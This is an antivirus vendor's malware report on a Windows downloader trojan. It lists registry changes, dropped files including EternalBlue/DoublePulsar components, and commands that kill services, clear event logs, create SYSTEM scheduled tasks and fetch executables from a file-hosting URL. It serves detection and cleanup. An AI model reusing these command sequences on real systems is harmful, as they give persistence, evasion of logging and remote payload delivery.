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Profil

Trojan.DownLoader33.12505

Added to the Dr.Web virus database: 2020-03-07

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\MicrosotMaims] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\MicrosotMaims] 'ImagePath' = '%WINDIR%\Fonts\svchost.exe'
  • [<HKLM>\System\CurrentControlSet\Services\MicrosoftMysql] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\MicrosoftMysql] 'ImagePath' = '%WINDIR%\Fonts\Mysql\svchost.exe'
Malicious functions
Executes the following
  • '<SYSTEM32>\taskkill.exe' /F /im sqlserver.exe
  • '<SYSTEM32>\net.exe' stop NetPipAtcivator
  • '<SYSTEM32>\net.exe' stop WetPipAtcivator
  • '<SYSTEM32>\net.exe' stop SetPipAtcivator
  • '<SYSTEM32>\net.exe' stop MetPipAtcivator
  • '%WINDIR%\syswow64\net.exe' stop MicrosotMaims
  • '<SYSTEM32>\net.exe' stop EvemsWindows
  • '<SYSTEM32>\net.exe' stop Evemsarver
  • '%WINDIR%\syswow64\net.exe' stop MicrosotMais
  • '%WINDIR%\syswow64\net.exe' stop mssecsvc2.1
  • '%WINDIR%\syswow64\net.exe' stop "MicrosoftMysql"
  • '%WINDIR%\syswow64\net.exe' stop "MicrosoftMssql"
  • '%WINDIR%\syswow64\net.exe' stop SharedAccess
  • '%WINDIR%\syswow64\taskkill.exe' /f /im mance.exe
  • '%WINDIR%\syswow64\net.exe' stop lanmanserver /y
  • '%WINDIR%\syswow64\net.exe' stop mssecsvc2.0
  • '<SYSTEM32>\net.exe' stop Samsorver
  • '<SYSTEM32>\taskkill.exe' /f /t /im dl1hots.exe
  • '<SYSTEM32>\taskkill.exe' /f /t /im d1lhots.exe
  • '<SYSTEM32>\taskkill.exe' /F /im sqlservr.exe
  • '<SYSTEM32>\taskkill.exe' /F /im WUDFhosts.exe
  • '<SYSTEM32>\taskkill.exe' /F /im TrustedInsteller.exe
  • '<SYSTEM32>\taskkill.exe' /f /t /im sqlserver.exe
  • '<SYSTEM32>\taskkill.exe' /f /t /im FTP.exe
  • '<SYSTEM32>\taskkill.exe' /f /t /im powershell.exe
  • '<SYSTEM32>\taskkill.exe' /F /im powershell.exe
  • '<SYSTEM32>\taskkill.exe' /f /t /im wscript.exe
  • '<SYSTEM32>\taskkill.exe' /f /t /im rundlls.exe
  • '<SYSTEM32>\taskkill.exe' /f /t /im dlllhost.exe
  • '<SYSTEM32>\taskkill.exe' /f /t /im KvMonXP.exe
  • '<SYSTEM32>\taskkill.exe' /f /t /im dllhots.exe
  • '<SYSTEM32>\taskkill.exe' /f /t /im d11hots.exe
  • '<SYSTEM32>\taskkill.exe' /f /t /im dlIhost.exe
  • '<SYSTEM32>\taskkill.exe' /f /t /im rundllhost.exe
  • '%WINDIR%\syswow64\taskkill.exe' /f /im Eter.exe
  • '%WINDIR%\syswow64\taskkill.exe' /f /im puls.exe
Modifies file system
Creates the following files
  • %TEMP%\9358.tmp\kk.bat
  • %WINDIR%\fonts\mysql\loab.bat
  • %WINDIR%\fonts\mysql\load.bat
  • %WINDIR%\fonts\mysql\mance.exe
  • %WINDIR%\fonts\mysql\mance.xml
  • %WINDIR%\fonts\mysql\nanshou.dll
  • %WINDIR%\fonts\mysql\p.txt
  • %WINDIR%\fonts\mysql\poab.bat
  • %WINDIR%\fonts\mysql\poad.bat
  • %WINDIR%\fonts\mysql\posh-0.dll
  • %WINDIR%\fonts\mysql\puls.exe
  • %WINDIR%\fonts\mysql\puls.xml
  • %WINDIR%\fonts\mysql\ssleay32.dll
  • %WINDIR%\fonts\mysql\svchost.exe
  • %WINDIR%\fonts\mysql\taskhost.exe
  • %WINDIR%\fonts\mysql\tibe-2.dll
  • %WINDIR%\fonts\mysql\tich-1.dll
  • %WINDIR%\fonts\mysql\trch-1.dll
  • %WINDIR%\fonts\mysql\trfo-2.dll
  • %WINDIR%\fonts\mysql\tucl-1.dll
  • %WINDIR%\fonts\mysql\tufo-2.dll
  • %WINDIR%\fonts\mysql\ucl.dll
  • %WINDIR%\fonts\mysql\wget.exe
  • %WINDIR%\fonts\mysql\xdvl-0.dll
  • %WINDIR%\fonts\mysql\libxml2.dll
  • %WINDIR%\fonts\mysql\zlib1.dll
  • %WINDIR%\fonts\mysql\libeay32.dll
  • %WINDIR%\fonts\mysql\eter.xml
  • <Current directory>\xxoo.vbs
  • %WINDIR%\inf\50.exe
  • %WINDIR%\fonts\svchost.exe
  • %WINDIR%\fonts\conhost.exe
  • %WINDIR%\inf\tem.vbs
  • %WINDIR%\inf\445.exe
  • %TEMP%\xsfxdel~.exe
  • %WINDIR%\fonts\mysql\ctfmon.exe
  • %WINDIR%\fonts\mysql\doublepulsar.dll
  • %WINDIR%\fonts\mysql\doublepulsar2.dll
  • %WINDIR%\fonts\mysql\eternalblue.dll
  • %WINDIR%\fonts\mysql\eternalblue2.dll
  • %WINDIR%\fonts\mysql\file.txt
  • %WINDIR%\fonts\mysql\nei.bat
  • %WINDIR%\fonts\mysql\wai.bat
  • %WINDIR%\fonts\mysql\same.bat
  • %WINDIR%\fonts\mysql\bat.bat
  • %WINDIR%\fonts\mysql\cmd.bat
  • %WINDIR%\fonts\mysql\cnli-1.dll
  • %WINDIR%\fonts\mysql\coli-0.dll
  • %WINDIR%\fonts\mysql\crli-0.dll
  • %WINDIR%\fonts\mysql\dmgd-4.dll
  • %WINDIR%\fonts\mysql\eter.exe
  • %WINDIR%\fonts\mysql\exma-1.dll
  • nul
Sets the 'hidden' attribute to the following files
  • %WINDIR%\fonts\conhost.exe
  • %WINDIR%\fonts\svchost.exe
  • %WINDIR%\inf\tem.vbs
  • %WINDIR%\fonts\mysql\ctfmon.exe
  • %WINDIR%\fonts\mysql\doublepulsar.dll
  • %WINDIR%\fonts\mysql\doublepulsar2.dll
  • %WINDIR%\fonts\mysql\eternalblue.dll
  • %WINDIR%\fonts\mysql\eternalblue2.dll
  • %WINDIR%\fonts\mysql\file.txt
Deletes the following files
  • <Current directory>\xxoo.vbs
  • %WINDIR%\inf\50.exe
  • %WINDIR%\inf\tem.vbs
  • %WINDIR%\fonts\mysql\file.txt
  • %WINDIR%\fonts\mysql\doublepulsar.dll
  • %WINDIR%\fonts\mysql\doublepulsar2.dll
  • %WINDIR%\fonts\mysql\eternalblue.dll
  • %WINDIR%\fonts\mysql\eternalblue2.dll
  • %WINDIR%\inf\445.exe
Substitutes the following files
  • <Current directory>\xxoo.vbs
Network activity
TCP
HTTP GET requests
  • http://no##.youdao.com/yws/api/personal/file/WEBb7c8f451dbb9385d84828b45f97fd7ae?me###################################################################
  • http://no##.youdao.com/yws/api/personal/file/WEB307a0cc7e244dab376576c72912aa7d4?me###################################################################
UDP
  • DNS ASK no##.youdao.com
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: ''
Creates and executes the following
  • '%WINDIR%\fonts\mysql\svchost.exe'
  • '%WINDIR%\fonts\mysql\svchost.exe' start "MicrosoftMysql"
  • '%WINDIR%\fonts\svchost.exe' set MicrosotMaims DisplayName Network Location Service
  • '%WINDIR%\fonts\svchost.exe' start MicrosotMaims
  • '%WINDIR%\fonts\svchost.exe' install MicrosotMaims %WINDIR%\Fonts\conhost.exe
  • '%WINDIR%\inf\445.exe'
  • '%WINDIR%\fonts\mysql\ctfmon.exe'
  • '%WINDIR%\fonts\mysql\svchost.exe' install MicrosoftMysql "%WINDIR%\Fonts\Mysql\cmd.bat"
  • '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\inf\tem.vbs"
  • '%WINDIR%\fonts\mysql\svchost.exe' stop "MicrosoftFonts"
  • '%WINDIR%\fonts\mysql\svchost.exe' stop "MicrosoftMysql"
  • '%WINDIR%\fonts\mysql\svchost.exe' install MicrosoftMysql %WINDIR%\Fonts\Mysql\cmd.bat
  • '%WINDIR%\fonts\mysql\svchost.exe' install "MicrosoftMysql" %WINDIR%\Fonts\Mysql\cmd.bat
  • '%WINDIR%\inf\50.exe'
  • '%TEMP%\xsfxdel~.exe' "%WINDIR%\inf\445.exe"
  • '%WINDIR%\fonts\svchost.exe' set MicrosotMaims Description Provides performance library information from Windows Management.
  • '%WINDIR%\syswow64\net.exe' stop mssecsvc2.1' (with hidden window)
  • '%TEMP%\xsfxdel~.exe' "%WINDIR%\inf\445.exe"' (with hidden window)
  • '%WINDIR%\fonts\svchost.exe' set MicrosotMaims Description Provides performance library information from Windows Management.' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\Fonts\Mysql\same.bat" "' (with hidden window)
  • '%WINDIR%\fonts\svchost.exe' set MicrosotMaims DisplayName Network Location Service' (with hidden window)
  • '%WINDIR%\fonts\svchost.exe' install MicrosotMaims %WINDIR%\Fonts\conhost.exe' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' delete mssecsvc2.1' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' delete mssecsvc2.0' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -s -h -r -a %WINDIR%\Fonts' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' delete lanmanserver' (with hidden window)
  • '%WINDIR%\syswow64\net.exe' stop lanmanserver /y' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' delete MicrosotMais' (with hidden window)
  • '%WINDIR%\syswow64\net.exe' stop MicrosotMais' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' delete MicrosotMaims' (with hidden window)
  • '%WINDIR%\syswow64\net.exe' stop MicrosotMaims' (with hidden window)
  • '%WINDIR%\syswow64\net.exe' stop mssecsvc2.0' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' config lanmanserver start= DISABLED 2>nul' (with hidden window)
  • '%WINDIR%\fonts\svchost.exe' start MicrosotMaims' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c ""%TEMP%\9358.tmp\KK.bat" "' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' /c ""%TEMP%\9358.tmp\KK.bat" "
  • '<SYSTEM32>\sc.exe' delete WetPipAtcivator
  • '<SYSTEM32>\net1.exe' stop SetPipAtcivator
  • '<SYSTEM32>\sc.exe' delete SetPipAtcivator
  • '<SYSTEM32>\net1.exe' stop MetPipAtcivator
  • '<SYSTEM32>\sc.exe' delete MetPipAtcivator
  • '<SYSTEM32>\net1.exe' stop NetPipAtcivator
  • '<SYSTEM32>\cscript.exe' xxoo.vbs "http://no##.youdao.com/yws/api/personal/file/WEBb7c8f451dbb9385d84828b45f97fd7ae?me###################################################################" %WINDIR%\inf\50.exe
  • '<SYSTEM32>\net1.exe' stop WetPipAtcivator
  • '%WINDIR%\syswow64\sc.exe' delete MicrosotMaims
  • '%WINDIR%\syswow64\sc.exe' config lanmanserver start= DISABLED 2>nul
  • '%WINDIR%\syswow64\sc.exe' delete lanmanserver
  • '%WINDIR%\syswow64\sc.exe' delete mssecsvc2.0
  • '%WINDIR%\syswow64\sc.exe' delete mssecsvc2.1
  • '%WINDIR%\syswow64\attrib.exe' -s -h -r -a %WINDIR%\Fonts
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -s -h -r -a %WINDIR%\Fonts
  • '%WINDIR%\syswow64\net1.exe' stop MicrosotMais
  • '%WINDIR%\syswow64\sc.exe' delete MicrosotMais
  • '<SYSTEM32>\sc.exe' delete NetPipAtcivator
  • '<SYSTEM32>\sc.exe' delete Evemsarver
  • '<SYSTEM32>\net1.exe' stop Evemsarver
  • '<SYSTEM32>\sc.exe' stop ServiceMais
  • '<SYSTEM32>\sc.exe' delete ServiceMais
  • '<SYSTEM32>\sc.exe' stop ServiceMaims
  • '<SYSTEM32>\sc.exe' delete ServiceMaims
  • '<SYSTEM32>\sc.exe' stop NetPipeAtcivator
  • '<SYSTEM32>\sc.exe' delete NetPipeAtcivator
  • '<SYSTEM32>\sc.exe' stop ServiceSais
  • '<SYSTEM32>\sc.exe' stop FormManger
  • '<SYSTEM32>\sc.exe' stop Famserver
  • '<SYSTEM32>\sc.exe' delete Famserver
  • '<SYSTEM32>\sc.exe' stop Microsarver
  • '<SYSTEM32>\sc.exe' delete Microsarver
  • '<SYSTEM32>\net1.exe' stop Samsorver
  • '<SYSTEM32>\sc.exe' delete Samsorver
  • '<SYSTEM32>\net1.exe' stop EvemsWindows
  • '<SYSTEM32>\sc.exe' delete FormManger
  • '<SYSTEM32>\sc.exe' delete EvemsWindows
  • '<SYSTEM32>\sc.exe' delete ServiceSaims
  • '<SYSTEM32>\sc.exe' delete ServiceSais
  • '%WINDIR%\syswow64\net1.exe' stop mssecsvc2.0
  • '<SYSTEM32>\cscript.exe' xxoo.vbs "http://no##.youdao.com/yws/api/personal/file/WEB307a0cc7e244dab376576c72912aa7d4?me###################################################################" %WINDIR%\inf\445.exe
  • '%WINDIR%\syswow64\net1.exe' stop SharedAccess
  • '%WINDIR%\syswow64\cmd.exe' /S /D /c" echo y"
  • '%WINDIR%\syswow64\schtasks.exe' /create /TN "At1" /TR "%WINDIR%\Fonts\Mysql\nei.bat" /SC daily /ST 11:30:00 /RU SYSTEM
  • '%WINDIR%\syswow64\schtasks.exe' /create /TN "At2" /TR "%WINDIR%\Fonts\Mysql\wai.bat" /SC daily /ST 01:00:00 /RU SYSTEM
  • '%WINDIR%\syswow64\attrib.exe' +h +s -r %WINDIR%\tasks\At*.job
  • '%WINDIR%\syswow64\attrib.exe' +h +s -r <SYSTEM32>\Tasks\At*
  • '%WINDIR%\syswow64\net.exe' start "MicrosoftMysql"
  • '%WINDIR%\syswow64\net1.exe' start "MicrosoftMysql"
  • '%WINDIR%\syswow64\cacls.exe' %WINDIR%\tasks\At1.job /c /e /t /g system:F
  • '%WINDIR%\syswow64\cacls.exe' %WINDIR%\tasks\At2.job /c /e /t /g everyone:F
  • '%WINDIR%\syswow64\cacls.exe' <SYSTEM32>\Tasks\At1 /c /e /t /g system:F
  • '%WINDIR%\syswow64\cacls.exe' <SYSTEM32>\Tasks\At2 /c /e /t /g system:F
  • '%WINDIR%\syswow64\cacls.exe' <SYSTEM32>\Tasks\At1 /c /e /t /g everyone:F
  • '%WINDIR%\syswow64\cacls.exe' <SYSTEM32>\Tasks\At2 /c /e /t /g everyone:F
  • '%WINDIR%\syswow64\cacls.exe' %WINDIR%\Tasks\MiscfostNsi /p system:n
  • '%WINDIR%\syswow64\cacls.exe' %WINDIR%\tasks\At2.job /c /e /t /g system:F
  • '%WINDIR%\syswow64\cacls.exe' %WINDIR%\tasks\At1.job /c /e /t /g everyone:F
  • '%WINDIR%\syswow64\net1.exe' start lanmanserver
  • '%WINDIR%\syswow64\net1.exe' start lanmanworkstation
  • '<SYSTEM32>\attrib.exe' -s -h -r %WINDIR%\Fonts\dlllhost.exe
  • '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\Fonts\Mysql\same.bat" "
  • '%WINDIR%\syswow64\net1.exe' stop "MicrosoftMysql"
  • '%WINDIR%\syswow64\net1.exe' stop "MicrosoftMssql"
  • '%WINDIR%\syswow64\sc.exe' delete "MicrosoftMysql"
  • '%WINDIR%\syswow64\sc.exe' delete "MicrosoftMssql"
  • '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 20
  • '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\Fonts\Mysql\cmd.bat" "
  • '%WINDIR%\syswow64\mode.com' con cols=50 lines=40
  • '%WINDIR%\syswow64\sc.exe' config Browser start= auto
  • '%WINDIR%\syswow64\sc.exe' config lanmanworkstation start= auto
  • '%WINDIR%\syswow64\sc.exe' config lanmanserver start= auto
  • '%WINDIR%\syswow64\sc.exe' config SharedAccess start= disabled
  • '%WINDIR%\syswow64\net.exe' start Browser
  • '%WINDIR%\syswow64\net1.exe' start Browser
  • '%WINDIR%\syswow64\net.exe' start lanmanworkstation
  • '%WINDIR%\syswow64\net1.exe' stop mssecsvc2.1
  • '%WINDIR%\syswow64\net1.exe' stop lanmanserver /y
  • '%WINDIR%\syswow64\net1.exe' stop MicrosotMaims
  • '<SYSTEM32>\sc.exe' stop ServiceSaims
  • '<SYSTEM32>\sc.exe' delete MicrosotSaims
  • '<SYSTEM32>\sc.exe' stop MicrosotSaims
  • '<SYSTEM32>\sc.exe' stop SQLWriter$
  • '<SYSTEM32>\sc.exe' delete SQLWriter$
  • '<SYSTEM32>\sc.exe' stop Java_update
  • '<SYSTEM32>\sc.exe' delete Java_update
  • '<SYSTEM32>\sc.exe' stop Microsoftmyssql
  • '<SYSTEM32>\sc.exe' delete TlntSvr
  • '<SYSTEM32>\sc.exe' delete Microsoftmyssql
  • '<SYSTEM32>\sc.exe' delete cftmon
  • '<SYSTEM32>\sc.exe' delete KuGouMusic
  • '<SYSTEM32>\sc.exe' delete WinHelpSvcs
  • '<SYSTEM32>\sc.exe' stop Networks
  • '<SYSTEM32>\sc.exe' delete Networks
  • '<SYSTEM32>\sc.exe' stop MicrosoftWServertime
  • '<SYSTEM32>\sc.exe' delete MicrosoftWServertime
  • '<SYSTEM32>\sc.exe' stop KuGouMusic
  • '<SYSTEM32>\sc.exe' stop TlntSvr
  • '<SYSTEM32>\sc.exe' stop WinHelpSvcs
  • '<SYSTEM32>\sc.exe' delete WiredService
  • '<SYSTEM32>\sc.exe' stop WiredService
  • '<SYSTEM32>\wevtutil.exe' cl "windows powershell"
  • '<SYSTEM32>\wevtutil.exe' cl "system"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo y"
  • '<SYSTEM32>\cacls.exe' %WINDIR%\Fonts\Debug\sqlserver.exe /d everyone
  • '<SYSTEM32>\cacls.exe' %WINDIR%\Fonts\Debug /d everyone
  • '<SYSTEM32>\cacls.exe' %WINDIR%\Cursors /d everyone
  • '<SYSTEM32>\cacls.exe' %PROGRAMDATA%\Microsoft\svchost.exe /d everyone
  • '<SYSTEM32>\cacls.exe' %PROGRAMDATA% /d everyone
  • '<SYSTEM32>\wevtutil.exe' cl "security"
  • '<SYSTEM32>\cacls.exe' %WINDIR%\Fonts\mysql /p everyone:F
  • '<SYSTEM32>\cacls.exe' %WINDIR%\Fonts\dl1hots.exe /p everyone:F
  • '<SYSTEM32>\cacls.exe' %WINDIR%\conhost\conhost.exe /d everyone
  • '<SYSTEM32>\sc.exe' stop sql
  • '<SYSTEM32>\sc.exe' delete sql
  • '<SYSTEM32>\sc.exe' stop Networks20181019
  • '<SYSTEM32>\sc.exe' delete Networks20181019
  • '<SYSTEM32>\sc.exe' stop MSSQLSERVER$
  • '<SYSTEM32>\cacls.exe' %WINDIR%\Fonts\sqlservr.exe /d everyone
  • '<SYSTEM32>\sc.exe' delete MSSQLSERVER$
  • '<SYSTEM32>\sc.exe' stop cftmon
  • '<SYSTEM32>\cacls.exe' %WINDIR%\Fonts\Debuger /d everyone
  • '<SYSTEM32>\attrib.exe' -s -h -r %WINDIR%\Fonts\csrss.exe
  • '<SYSTEM32>\cacls.exe' "%WINDIR%\Fonts\rundllhost.exe" /g everyone:f
  • '<SYSTEM32>\cacls.exe' "%WINDIR%\Fonts\dlllhost.exe" /g everyone:f
  • '<SYSTEM32>\cacls.exe' "%WINDIR%\Fonts\conhost.exe" /g everyone:f
  • '<SYSTEM32>\cacls.exe' "%WINDIR%\Fonts\svchost.exe" /g everyone:f
  • '<SYSTEM32>\cacls.exe' "%WINDIR%\Fonts\csrss.exe" /g everyone:f
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='csrss.exe' and ExecutablePath='C:\\Windows\\Fonts\\csrss.exe'" call Terminate
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='svchost.exe' and ExecutablePath='C:\\Windows\\Fonts\\svchost.exe'" call Terminate
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='conhost.exe' and ExecutablePath='C:\\Windows\\Fonts\\conhost.exe'" call Terminate
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='lsass.exe' and ExecutablePath='C:\\Windows\\Fonts\\lsass.exe'" call Terminate
  • '<SYSTEM32>\sc.exe' stop MicrosotMais
  • '<SYSTEM32>\sc.exe' delete MicrosotMais
  • '<SYSTEM32>\sc.exe' stop MicrosotMaims
  • '<SYSTEM32>\sc.exe' delete MicrosotMaims
  • '<SYSTEM32>\sc.exe' stop MicrosotSais
  • '<SYSTEM32>\sc.exe' delete MicrosotSais
  • '<SYSTEM32>\attrib.exe' -s -h -r %WINDIR%\Fonts\svchost.exe
  • '<SYSTEM32>\sc.exe' stop HostManger
  • '<SYSTEM32>\cacls.exe' "%WINDIR%\Fonts\rundlls.exe" /g everyone:f
  • '%WINDIR%\syswow64\net.exe' start lanmanserver
  • '%WINDIR%\syswow64\cacls.exe' %WINDIR%\Tasks\HomeGroupProvider /p system:n
  • '<SYSTEM32>\attrib.exe' -s -h -r %WINDIR%\Fonts\rundllhost.exe
  • '<SYSTEM32>\sc.exe' stop SERVERTIMEl
  • '<SYSTEM32>\sc.exe' delete SERVERTIMEl
  • '<SYSTEM32>\sc.exe' stop SERVERTIME
  • '<SYSTEM32>\sc.exe' delete SERVERTIME
  • '<SYSTEM32>\sc.exe' stop Hostserver
  • '<SYSTEM32>\sc.exe' delete Hostserver
  • '<SYSTEM32>\sc.exe' stop ServicesMain
  • '<SYSTEM32>\sc.exe' delete HostManger
  • '<SYSTEM32>\sc.exe' delete ServicesMain
  • '<SYSTEM32>\takeown.exe' /f %WINDIR%\Fonts\rundlls.exe /a
  • '<SYSTEM32>\takeown.exe' /f %WINDIR%\Fonts\rundllhost.exe /a
  • '<SYSTEM32>\takeown.exe' /f %WINDIR%\Fonts\dlllhost.exe /a
  • '<SYSTEM32>\takeown.exe' /f %WINDIR%\Fonts\conhost.exe /a
  • '<SYSTEM32>\takeown.exe' /f %WINDIR%\Fonts\svchost.exe /a
  • '<SYSTEM32>\takeown.exe' /f %WINDIR%\Fonts\csrss.exe /a
  • '<SYSTEM32>\attrib.exe' -s -h -r %WINDIR%\Fonts\rundlls.exe
  • '<SYSTEM32>\takeown.exe' /f %WINDIR%\fonts /a
  • '<SYSTEM32>\attrib.exe' -s -h -r %WINDIR%\Fonts\conhost.exe
  • '%WINDIR%\syswow64\cacls.exe' %WINDIR%\Tasks\WwANsvc /p system:n

Recommandations pour le traitement

  1. Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space.
  2. Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.

Veuillez lancer le scan complet du système à l'aide de Dr.Web Antivirus pour Mac OS.

Veuillez lancer le scan complet de toutes les partitions du disque à l'aide de Dr.Web Antivirus pour Linux.

  1. Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android. Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
  2. Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
    • démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
    • puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
    • Débranchez votre appareil et rebranchez-le.

En savoir plus sur Dr.Web pour Android